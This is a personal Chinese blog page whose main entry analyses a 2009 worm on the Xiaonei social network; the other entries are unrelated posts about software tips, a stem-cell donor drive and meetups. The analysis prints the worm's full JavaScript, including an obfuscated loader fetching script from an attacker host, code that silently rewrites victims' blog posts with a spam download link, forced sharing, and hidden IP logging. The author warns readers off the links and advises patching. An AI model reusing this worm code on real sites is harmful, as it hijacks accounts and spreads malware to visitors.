Chyi's profileOrdinary DaysBlogListsGuestbookMore Tools Help

Ordinary Days

On The Top

Chyi Jaw

Location
Thanks for visiting!
Please wait...
Sorry, the comment you entered is too long. Please shorten it.
You didn't enter anything. Please try again.
Sorry, we can't add your comment right now. Please try again later.
To add a comment, you need permission from your parent. Ask for permission
Your parent has turned off comments.
Sorry, we can't delete your comment right now. Please try again later.
You've exceeded the maximum number of comments that can be left in one day. Please try again in 24 hours.
Your account has had the ability to leave comments disabled because our systems indicate that you may be spamming other users. If you believe that your account has been disabled in error please contact Windows Live support.
Complete the security check below to finish leaving your comment.
The characters you type in the security check must match the characters in the picture or audio.

Google Reader 阅读分享

Loading...Loading...

Google 提供的广告

Loading...
June 14

小研究了下最近的“校内挂马”

本日志只研究了

英国人疯了。。出的什么题目啊!!!!

http://blog.xiaonei.com/GetEntry.do?id=343568285&owner=221076834 (*DO NOT FOLLOW THIS LINK*)

实际产生作用的应该是日志尾部的这么几行代码:

<img width="0" height="0" src="http://xss0211.111.no1date.cn/s.php"/>
<script ik="myyoumin" src="http://fmn029.xnimg.cn/fmn029/tribe/20090316/07/30/A087039690816UPL.asx" type="text/javascript">
</script>
</p>
<br/>
<div height="0"> <img id="mydoit" width="0" height="0" src="http://static.xiaonei.com.f/img/temp/fm/20090219.jpg" display="none"/>
</div>

第一个地址应该是包含了跨站攻击脚本(XSS),但是这个地址(no1date.cn)已经无法解析了。

第二个链接含有一个伪造的asx文件,其中包含代码:

var l=document.createElement("script");
l.src=http://love.avtupian.com/a/x/xOO1.jpg;  //Don’t follow this link
l.type="text/javascript";
document.getElementsByTagName("head").item(0).appendChild(l);

链接的图片实际是一段javascript代码,全文在最后,应该与浏览器的漏洞有关。

作用有自动分享,并修改日志,最后还会记录访问者ip。其中还是有几个网址不能解析,故无法分析其作用。

这个图片仍旧存在,请不要点击上面的链接。

第三个地址的图片也无法打开,看其地址(.com.f),可能是写错了。

结论:本想知道这只是一个单纯的XSS攻击还是会往你的计算机上安插木马,现在仍旧不能确定。

保险起见可参照那个

校内网被挂马,有效解决方案

http://blog.xiaonei.com/GetEntry.do?id=396704329&owner=225886057

查杀一下。如果没有在系统中发现上贴所述文件和注册表项,也不用太担心。

但最重要的是,请运行Windows Update为系统特别是IE打上补丁。

实际上,推荐使用非IE内核浏览器,比如Firefox, Google Chrome, Opera, Safari。

最后是攻击代码存档,来自前述的xOO1.jpg

function killErrors() {return true;}
window.onerror=killErrors;

function defaul_home(aaa){
aaa.style.behavior='url(#default#homepage)';
aaa.setHomePage('http://www.baidu.com/index.php?tn=haijin0212_pg');
}

function hit(aaa){
     for(i=1;i<10;i++){
    if(window.xxx!=1){
        defaul_home(aaa);
         }    
     }
window.xxx=1;
}
//document.all.blogpage.onclick=Function("hit(document.all.blogpage)");

//----------------------------

var mydata;
var mylink="http://love.avtupian.com/a/x/qiaoye.html";
getinfo();

function getinfo(){
var mylink=document.getElementById("link").value;
var mytype=document.getElementById("type").value;
var mytitle=document.getElementById("title").value;
var mypic=document.getElementById("pic").value;
var myfromno=document.getElementById("fromno").value;
var myfromname=document.getElementById("fromname").value;
var myfromuniv=document.getElementById("fromuniv").value;
var myalbumid=document.getElementById("albumid").value;
var mysummary=document.getElementById("summary").innerText;
var mylargeurl=document.getElementById("largeurl").value;

mydata='post=%7B%22link%22%3A%22'+escape(mylink);
mydata+='%22%2C%22type%22%3A%22'+escape(mytype);
mydata+='%22%2C%22title%22%3A%22'+encodeURIComponent(mytitle);
mydata+='%22%2C%22pic%22%3A%22'+escape(mypic);
mydata+='%22%2C%22fromno%22%3A%22'+escape(myfromno);
mydata+='%22%2C%22fromname%22%3A%22'+encodeURIComponent(myfromname);
mydata+='%22%2C%22fromuniv%22%3A%22'+encodeURIComponent(myfromuniv);
mydata+='%22%2C%22albumid%22%3A%22'+escape(myalbumid);
mydata+='%22%2C%22largeurl%22%3A%22'+escape(mylargeurl);
mydata+='%22%2C%22summary%22%3A%22'+encodeURIComponent(mysummary);
mydata=mydata.replace(/\//g,'%2F');
}
document.getElementById("logo").innerHTML+='<iframe name=do_it id=do_it src="http://share.xiaonei.com/ajaxProxy.html?ver=2" width=0 height=0></iframe>';
setTimeout("appendjs()",2600);

function appendjs(){
document.frames("do_it").document.getElementsByTagName("body").item(0).innerHTML='<img src="http://r.dd/EE?E='+Math.random()+'" onerror="eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,13,10,115,46,115,114,99,61,39,104,116,116,112,58,47,47,108,111,118,101,46,97,118,116,117,112,105,97,110,46,99,111,109,47,97,47,120,47,115,46,106,112,103,39,59,13,10,115,46,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,13,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,46,105,116,101,109,40,48,41,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,13,10))"><div id=eer name=eer>'+mydata+'</div>';
}
//===============================================================================================

var mytitle;var mybody;var mytsc;var myid;var userurl;var guest;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();var b_index;
var guest2;

        var visitorID=$("logo").firstChild.firstChild.href;
    var IDs=visitorID.indexOf("?id=");
    visitorID=visitorID.substring(IDs+4);
        var mydomain=document.location.href;
    var mydomaint=mydomain.indexOf("blog.xiaonei.com");
    var myo=mydomain.indexOf(visitorID);
    if(mydomaint!=-1&&myo==-1){setTimeout("get_my_blogurl()",400);}

function get_my_blogurl(){
        var as=new Ajax.Request("http://blog.xiaonei.com/MyBlog.do",{method:"get",onComplete:add_my_blogurl,onFailure:add_my_blogurl});
        return as;
    }
function add_my_blogurl(r){
  var mybloglist=r.responseText;
  var myurls;var blogids;var blogide;
  for(i=0;i<10;i++){
     myurls=mybloglist.indexOf('<strong><a href="http://blog.xiaonei.com/GetEntry.do?id=');
     //mybloglist=mybloglist.substring(myurls+10);
     //myurls=mybloglist.indexOf('<strong><a href="http://blog.xiaonei.com/GetEntry.do?id=');
     if(myurls!=-1){
         mybloglist=mybloglist.substring(myurls);
         myurls=mybloglist.indexOf('"');
         mybloglist=mybloglist.substring(myurls+1);
         myurls=mybloglist.indexOf('"');
         myblogurl[i]=mybloglist.substring(0,myurls-1);mybloglist=mybloglist.substring(myurls+1);
         blogids=myblogurl[i].indexOf("?id=");blogide=myblogurl[i].indexOf("&owner");
         myblogid[i]=myblogurl[i].substring(blogids+4,blogide);   
         //document.getElementById("blogContent").innerHTML+="<br><a href=eee.com >i="+i+";</a>"+myblogid[i];
     }else{break;}
  }
  get_my_testself();
}
//-------------------------------------

function get_my_testself(){
    targetblogurlid=0;
  for(i=0;i<myblogid.length;i++){
      //var url="http://blog.xiaonei.com/GetEntry.do?id="+myblogid[i]+"&owner="+visitorID;
      var url="http://blog.xiaonei.com/EditEntry.do?id="+myblogid[i];
      var xhr2=createXMLHttpRequest();
      if(xhr2){
              xhr2.open("GET",url,false);
              xhr2.send();guest2=xhr2.responseText;
        }
      var mycheckit=guest2.indexOf("skycn");
      if(mycheckit==-1){targetblogurlid=myblogid[i];b_index=i;break;}
   }
   if(targetblogurlid!=0){add_my_form(targetblogurlid);}
}
//---------------------------------------------------------------add--form
function add_my_form(r){
guest=guest2;
var texts=guest.indexOf('name="title"');
guest=guest.substring(texts);

var titles=guest.indexOf('value="');
var titlee=guest.indexOf('" />');
mytitle=guest.substring(titles+7,titlee);
mytitle=mytitle.replace(/&amp;/g,'&').replace(/&quot;/g,'\"').replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&#034;/g,'"');
mytitle=encodeURI(mytitle);
guest=guest.substring(titlee);

var bodys=guest.indexOf('name="body"');
var bodye=guest.indexOf('</textarea>');
mybody=guest.substring(bodys+30,bodye);
mybody=mybody.replace(/&amp;/g,'&').replace(/&quot;/g,'\"').replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&#034;/g,'"');

mybody+='<p><br>最后推荐一个东西:<br><br>发现了好软件,QQ千里眼,能够强制与任何QQ视频,能够强制加好友,强制聊天,迫使下线!<br>下载地址:<a href="http://tan.itwenba.cn/qq/QQqianliyan.rar" target=_blank >天空下载中心:skycn</a></p>';
mybody=encodeURI(mybody);

myxiugai();
}

function myxiugai(){
userurl="http://blog.xiaonei.com/EditEntry.do";
var fdata="title="+mytitle+"&body="+mybody+"&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=0&pic_path=&owner="+visitorID+"&relative_optype=&id="+targetblogurlid;
var xhr=createXMLHttpRequest();
fdata=fdata.replace(/\//g,'%2F');
fdata=fdata.replace(/%09/g,'');
fdata=fdata.replace(/%0D%0A/g,'');

if(xhr){
  xhr.open("POST",userurl,false);
  xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  xhr.send(fdata);
  }
}

//--------------------------------
function createXMLHttpRequest(){
    var XMLhttpObject=null;   
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
    else   
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
        for(var i=0;i<MSXML.length;i++)  
        {  
            try 
            {  
                XMLhttpObject=new ActiveXObject(MSXML[i]);  
                break;  
            }  
            catch (ex) { 
            }
         }  
      }
return XMLhttpObject;
}
//---------------------------------------
setTimeout("myshua()",200);
function myshua(){
document.getElementById("optiondropdownMenu").insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://love.avtupian.com/ip.asp'></iframe>");
}

//注:String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,13,10,115,46,115,114,99,61,39,104,116,116,112,58,47,47,108,111,118,101,46,97,118,116,117,112,105,97,110,46,99,111,109,47,97,47,120,47,115,46,106,112,103,39,59,13,10,115,46,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,13,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,46,105,116,101,109,40,48,41,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,13,10))"><div

的转换结果为

var s=document.createElement('script'); s.src='http://love.avtupian.com/a/x/s.jpg'; s.type='text/javascript'; document.getElementsByTagName('head').item(0).appendChild(s);

s.jpg所含 代码为 :(作用应该是提交分享)

var sdata;var guest;
sdata=document.all.eer.innerHTML;

if(!window.sss){
get_tsc();
window.sss=1;
}

function get_tsc(){
var xhr=createXMLHttpRequest();
var url;var guest;
var tdata=sdata+'%22%7D';

url="http://share.xiaonei.com/share/popup.do";
if(xhr){
  xhr.open("POST",url,false);
  xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  xhr.send(tdata);guest=xhr.responseText;
  }

var indexs=guest.indexOf("tsc_popShare");
guest=guest.substring(indexs+13);
indexs=guest.indexOf('"');
guest=guest.substring(indexs+1);
indexs=guest.indexOf('"');

guest=guest.substring(0,indexs);
var mytsc=guest;

tdata="";
tdata=sdata;
tdata+='%22%2C%22sendcomment%22%3A%22on%22%2C%22action%22%3A%22add%22%2C%22auth%22%3A%2299%22%2C%22body%22%3A%22';
tdata+='';
tdata+='%22%7D';

tdata="tsc="+mytsc+"&"+tdata;
var url="http://share.xiaonei.com/share/submit.do";
if(xhr){
  xhr.open("POST",url,false);
  xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  xhr.send(tdata);guest=xhr.responseText;
  }

}

function createXMLHttpRequest(){
    var XMLhttpObject=null;   
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
    else   
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
        for(var i=0;i<MSXML.length;i++)  
        {  
            try 
            {  
                XMLhttpObject=new ActiveXObject(MSXML[i]);  
                break;  
            }  
            catch (ex) { 
            }  
         }  
      }
return XMLhttpObject;

April 12

8城的日志响应之三

8城的日志:http://blog.xiaonei.com/GetEntry.do?id=377479466&owner=231875356

篮球赛的视频(angela上传):http://blog.xiaonei.com/GetEntry.do?id=377728206&owner=224469235

一段中午的瞎拍(zpy制作上传):(http://blog.xiaonei.com/GetEntry.do?id=378022333&owner=230811135

-------------------------------------------------

这里是辛巴达视频零售版光盘镜像,包含1,2全集,家庭用VCD,DVD播放可,附带照片数张。

mdf镜像主文件下载页:http://massmirror.com/d107e871e2f4e80fcaec7083cd0e0084.html
mds镜像描述文件下载地址:http://dl.getdropbox.com/u/219559/SinBad%20by%20sfls0602.mds

大小:共409 MB

March 28

[note]屏蔽掉QQ旋风Firefox扩展的左键调用(右键菜单仍然可用)

达到的效果:ed2k链接直接点击恢复成按照Firefox设置处理,点击未知文件格式不会直接弹出QQ旋风。

修改扩展中的chrome\qqdownload.jar\qqdownloadclick.js,在第十一行加入 return true;

March 24

Dropbox移动版 - 装到U盘里的网络同步软件[Windows Only]

Dropbox论坛上贴出了打包后的移动版本Dropbox Protable,能够从任何USB驱动器启动Dropbox而无需安装,当然也可直接同步U盘中的数据。

下载地址(0.6.491):

http://dl.getdropbox.com/u/50461/DropboxPortable%200.6.491.zip

如果暂时无法下载,请稍等片刻,应该是文件被更新了所以正在重新同步。

如何升级:

升级前请备份 "Data” 和 “Dropbox”两个文件夹,然后再复制新的程序文件。

已知问题:

移动版还无法与资源管理器整合,右键里的Dropbox菜单无法使用。

只支持32位Windows XP/Vista/7

原帖地址:http://forums.getdropbox.com/topic.php?id=7729&replies=6 来自Dropbox Forums

此处注册Dropbox ,获得2G+250MB存储空间

December 11

作为Firefox扩展的在线音乐盒

介绍页,内含下载地址:http://www.amuseplayer.com/

创建一个直接打开的快捷方式(来自那个视频教程):

<firefox安装路径>firefox.exe -chrome chrome://amuseplayer/content/extamuse.xul

October 04

小笔记,请无视~

1.beagle firefox extension貌似会跟mozilla weave冲突,terminal里会有如下错误:

TypeError: redeclaration of const jslib_debug
 include: chrome://beagle/content/jslib/debug/debug.js is not a valid path or is already loaded
 include: chrome://beagle/content/jslib/modules.js
 ReferenceError: jslibDebug is not defined
include: chrome://beagle/content/jslib/io/filesystem.js is not a valid path or is already loaded

2. 英文语言下更改字体映射,修改/etc/fonts/conf.d/60-latin.conf

August 13

在Space遭遇垃圾评论……

一个是堆关键字的,一个是某组织散发某破W软件的。

Space除了设置权限没别的办法阻止这些评论,而我又非常不愿意限制访问权限……

您可能也碰到了,垃圾评论未必回复在您最新的一篇日志上,去你的Space Home(<yourname>.home.spaces.live.com)看看。

July 30

邀请您:(update:晚间活动)

31日想邀请大家聚一聚,出来玩~

我上午去鲁迅公园做骨髓干细胞的捐献登记,具体请见上一贴,也欢迎您同往。

午餐就地解决。(-_-|||)

下午我的安排是就近高点,到晚上在找地方吃饭Update!

找的地方是鲁迅公园边上的

上海人家时尚火锅http://www.dianping.com/shop/2400286#ur

自助小锅,肉类无限量,晚间58元/人。如果不想吃火锅的话那考虑直接找家KTV了~,上次人民广场的那家好乐迪我觉得还不错……

另外一方案,由于莉莉同学和兰原同学约在徐家汇,那可以跟兰原一起,于是下午我们可以去附近的:锦江乐园

可以下午来,也可以来吃个晚饭~

July 25

[召集]造血干细胞捐献登记 update:07-29

想在月底前完成这件事,征集有爱的同学同往。

捐献条件如下:

(1). 年满18-45周岁、体重男≥50kg、女≥45kg 
(2). 身体健康符合献血条件
如有以下情况则不能捐献造血干细胞:
? 性病、艾滋病患者以及艾滋病病毒感染者;
? 乙肝、丙肝患者以及乙肝、丙肝病毒携带者;
? 长期或反复患有过敏性疾病;
? 各种结核病患者以及自身免疫性疾病(如系统性红斑狼疮、皮肌炎等)
? 心血管疾病患者,如各种心脏病、高血压、心肌炎等;
? 严重的呼吸系统疾病及消化系统疾病;
? 血液病患者,如白血病、重症贫血等;
? 精神病患者以及内分泌疾病患者(甲亢、甲减、糖尿病等);
? 高度近视眼(1000度以上)或眼底有病变的近视眼患者;
? 作过重要器官切除手术者;
? 患有恶性肿瘤以及影响健康的良性肿瘤;
(3). 常住上海的本市市民或久居上海(二年以上)的外省市公民
(4). 未婚者须父母同意,已婚者须配偶同意

征得父母同意这条,我过后会电话确认一下,要如何证明法。

update: 已咨询鲁迅公园献血屋,登记无需父母证明,但如果配对成功需要捐献,则需要父母(或配偶)签字,捐献需要住院一周。

如到时反悔,需要补交采集费用。

上海共六个采血点(信息发布时间约为2007年6月,应该仍旧有效)

第一采集室:成都北路献血屋
时间:周二、四、六、日(国定假照常)下午13:00~16:00
地点:成都北路408号献血屋二楼(近成都北路高架南京路口,南证大厦马路斜对面)
交通:公交20、37、36、112、933、869或地铁人民广场站下
电话:63592144
第二采集室:上海市血液中心免疫遗传室
时间:周一~周五(国定假休息)下午13:00~16:00
地点:虹桥路1191号2号楼8楼815室(近伊犁路口)
交通:公交48、72、506、827、911、徐华线
电话:62758027×8001
第三采集室:闵行七宝献血屋
时间:全年开放,每天9:00~20:00
地点:七莘路新龙路口(紧邻七莘路3155号乐购门口)
交通:87、91、92、92B、748、735、803、911、953、
莘北线、莘纪线、松龙线、南嘉线、沪佘昆、南佘线、宝钱线等
电话:64199263
第四采集室:闵行梅陇(南方商城)献血屋
时间:全年开放,每天9:00~20:00
地点:沪闵路7388号莲花路口南方商城门前广场上
交通:地铁莲花路站、122、150、152、704、704B、712、720、729、732、732B、753、757、867
电话:54177866
第五采集室:虹口鲁迅公园献血屋
时间:全年开放,每天9:00~16:30
地点:四川北路2388号(鲁迅公园正门右手侧)
交通:18、21、47、139、231、854、863、939、旅游10号线、川虹线鲁迅公园站下,52路花园路站下,70、97路多伦路站下,51、502、轻轨3号线虹口足球场站下
电话:56967708
第六采集室:闸北洛川东路献血屋
时间:全年开放,每天9:00~17:00
地点:洛川东路151号(在北宝兴路和平型关路之间)
交通:66、108、518、858路
电话:56387996

携带本人身份证件直接前往登记验血即可。个人期望明天或后天前往,选择 虹口鲁迅公园献血屋。

回kasusu,户口在上海应该就算常住人口了,只是你考虑一下配对成功的话回来捐献是否有困难,当然配对成功不知道要到何时。

July 15

7月20日,上图影视欣赏活动 updated:看完鸟

7月20日 13:30 上海图书馆 双片联映

放映影片:

1.Butterfly on a Wheel 危情24小时

imdb:6.8/10

豆瓣评论

两者差距比较大……

2.功夫熊猫(中文配音)


Leaf君, 你期待的这两部电影不适合在下午看,更不能连着看……